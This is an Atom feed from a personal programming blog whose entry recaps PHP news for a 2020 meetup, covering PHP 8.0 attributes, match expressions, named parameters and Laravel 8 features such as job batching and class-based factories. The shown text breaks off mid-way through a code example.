<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.2">Jekyll</generator><link href="https://ndench.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://ndench.github.io/" rel="alternate" type="text/html" /><updated>2022-08-02T06:34:50+10:00</updated><id>https://ndench.github.io/feed.xml</id><title type="html">Nathan Dench</title><subtitle>This is where I brain dump anything I learn about programming, devops and general tech.</subtitle><author><name></name></author><entry><title type="html">What’s new in PHP land? - Q3 2020</title><link href="https://ndench.github.io/brisphp/whats-new-in-php-q3-2020" rel="alternate" type="text/html" title="What’s new in PHP land? - Q3 2020" /><published>2020-11-16T00:00:00+10:00</published><updated>2020-11-16T00:00:00+10:00</updated><id>https://ndench.github.io/brisphp/whats-new-in-php-q3-2020</id><content type="html" xml:base="https://ndench.github.io/brisphp/whats-new-in-php-q3-2020">&lt;p&gt;I co-organise the &lt;a href=&quot;https://www.meetup.com/BrisPHP/&quot;&gt;BrisPHP Meetup&lt;/a&gt;
and at the start of every meetup I give a quick talk on recent news and 
other interesting things that have been happening in the PHP world.
This issue is all about PHP 8.0, Laravel 8 and Composer 2.&lt;/p&gt;

&lt;h3 id=&quot;php-versions&quot;&gt;PHP Versions&lt;/h3&gt;

&lt;p&gt;PHP 8.0 is less than 2 weeks away, it will go live on the 
&lt;a href=&quot;https://wiki.php.net/todo/php80&quot;&gt;26th of November&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php8-release.png&quot; alt=&quot;PHP 8.0 Release Schedule&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Additionally, security support left for PHP 7.2 ends on the 
&lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;30th of November&lt;/a&gt;
Updating to 7.3 or 7.4 is quite seamless, so make sure you do ASAP!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/php-version-support-2020-11.png&quot; alt=&quot;PHP Version Support&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;shorter-attributes&quot;&gt;Shorter attributes&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/shorter_attribute_syntax_change&quot;&gt;RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Setting a new record for the number of accepted RFCs for a single feature, we have
a new syntax for attributes. The 4th accepted attribute RFC changes attributes from
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#[]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The main reason behind changing this again are:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@&lt;/code&gt; syntax turned out to be harder than originally anticipated 
  (due to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@&lt;/code&gt; already being a valid token on it’s own)&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@&lt;/code&gt; syntax removed the ability to group annotations, which was in a previously
  accepted RFC&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@@&lt;/code&gt; syntax does not have a closing delimiter, which is inconsistent with other 
  language features&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#[]&lt;/code&gt; gives forward compatibility, ie. annotations can exist in code that is run
  on older language versions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The RFC shows an example of a doctrine entity with the new syntax:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Doctrine\ORM\Attributes&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ORM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Symfony\Component\Validator\Constraints&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Assert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
&lt;span class=&quot;c1&quot;&gt;#[&lt;/span&gt;
  &lt;span class=&quot;nc&quot;&gt;ORM\Entity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;ORM\Table&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;user&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;User&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#[ORM\Id, ORM\Column(&quot;integer&quot;), ORM\GeneratedValue]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;c1&quot;&gt;#[ORM\Column(&quot;string&quot;, ORM\Column::UNIQUE)]&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;#[Assert\Email([&quot;message&quot; =&amp;gt; &quot;The email '' is not a valid email.&quot;])]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;private&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$email&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;match-expression&quot;&gt;Match expression&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/match_expression_v2&quot;&gt;RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This new expression is a direct competitor of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;switch&lt;/code&gt; statement. It gives all the advantages
with none of the disadvantges, namely:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;no type coercion&lt;/li&gt;
  &lt;li&gt;exception if the parameter does not match any branch&lt;/li&gt;
  &lt;li&gt;no need for a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;break&lt;/code&gt; -&amp;gt; can’t fallthrough to the next branch&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The example from the RFC shows how much clearer a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;match&lt;/code&gt; is when compared to a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;switch&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Before&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lookahead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;T_SELECT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$statement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SelectStatement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;T_UPDATE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$statement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;UpdateStatement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;T_DELETE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$statement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DeleteStatement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
 
    &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;syntaxError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SELECT, UPDATE or DELETE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
 
&lt;span class=&quot;c1&quot;&gt;// After&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$statement&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lookahead&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'type'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;T_SELECT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;SelectStatement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;T_UPDATE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;UpdateStatement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
    &lt;span class=&quot;nc&quot;&gt;Lexer&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;T_DELETE&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DeleteStatement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;syntaxError&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SELECT, UPDATE or DELETE'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h4 id=&quot;named-parameters&quot;&gt;Named parameters&lt;/h4&gt;

&lt;p&gt;&lt;a href=&quot;https://wiki.php.net/rfc/named_params&quot;&gt;RFC&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Named parameters allow us to pass parameters to functions by their name instead of their position
in the parameter list. You can combine both of these approaches, but you cannot specify a 
positional paramater after a named one. A simple example from the RFC shows the main advantages:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Without named parameters&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ENT_COMPAT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;ENT_HTML401&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'UTF-8'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// With named parameters&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;htmlspecialchars&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;double_encode&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using named arguments makes the code more readable, ie. the boolean flag is self-documented.
It also makes it possible to skip over parameters which have default values.&lt;/p&gt;

&lt;p&gt;Value objects or DTOs often either have large parameter lists with many default values,
or take a single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$options&lt;/code&gt; associative array which is then parsed in the constructor.
Using named parameters can greatly improve the API of any large value object.&lt;/p&gt;

&lt;h2 id=&quot;laravel-8&quot;&gt;Laravel 8&lt;/h2&gt;

&lt;p&gt;Laravel 8 has &lt;a href=&quot;https://laravel.com/docs/8.x/releases#laravel-8&quot;&gt;been released&lt;/a&gt; and it 
contains a bunch of cool new features:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Jetstream -&amp;gt; scaffolding to make it quicker to start a new Laravel project. Comes with
  user management and API support built in, and your choice of Liveware or Inertia for
  the frontend&lt;/li&gt;
  &lt;li&gt;New &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;app/Models&lt;/code&gt; directory in the application skeleton to help organise your models&lt;/li&gt;
  &lt;li&gt;Squash migrations into a single SQL file&lt;/li&gt;
  &lt;li&gt;Improved rate limiting with much more flexibility&lt;/li&gt;
  &lt;li&gt;Time testing helpers to easily manipulate the current time in tsets&lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Job batching, with support for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;then&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;try&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;catch&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;finally&lt;/code&gt;&lt;/p&gt;

    &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

  &lt;span class=&quot;nv&quot;&gt;$batch&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Bus&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;batch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProcessPodcast&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Podcast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProcessPodcast&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Podcast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProcessPodcast&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Podcast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProcessPodcast&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Podcast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ProcessPodcast&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Podcast&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)),&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Batch&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$batch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// All jobs completed successfully...&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Batch&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$batch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Throwable&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// First batch job failure detected...&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;finally&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Batch&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$batch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;c1&quot;&gt;// The batch has finished executing...&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Model factories are now class based&lt;/p&gt;

    &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;  &lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// database/factories/UserFactory.php&lt;/span&gt;

  &lt;span class=&quot;c1&quot;&gt;// Old way&lt;/span&gt;
  &lt;span class=&quot;nv&quot;&gt;$factory&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;App\User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;Faker&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$faker&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
          &lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$faker&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s1&quot;&gt;'email'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$faker&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;unique&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;safeEmail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s1&quot;&gt;'email_verified_at'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;now&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt;
          &lt;span class=&quot;s1&quot;&gt;'password'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'not a real password'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
          &lt;span class=&quot;s1&quot;&gt;'remember_token'&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Str&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;random&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;


  &lt;span class=&quot;c1&quot;&gt;// New way&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;UserFactory&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Factory&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;cd&quot;&gt;/**
       * The name of the factory's corresponding model.
       *
       * @var string
       */&lt;/span&gt;
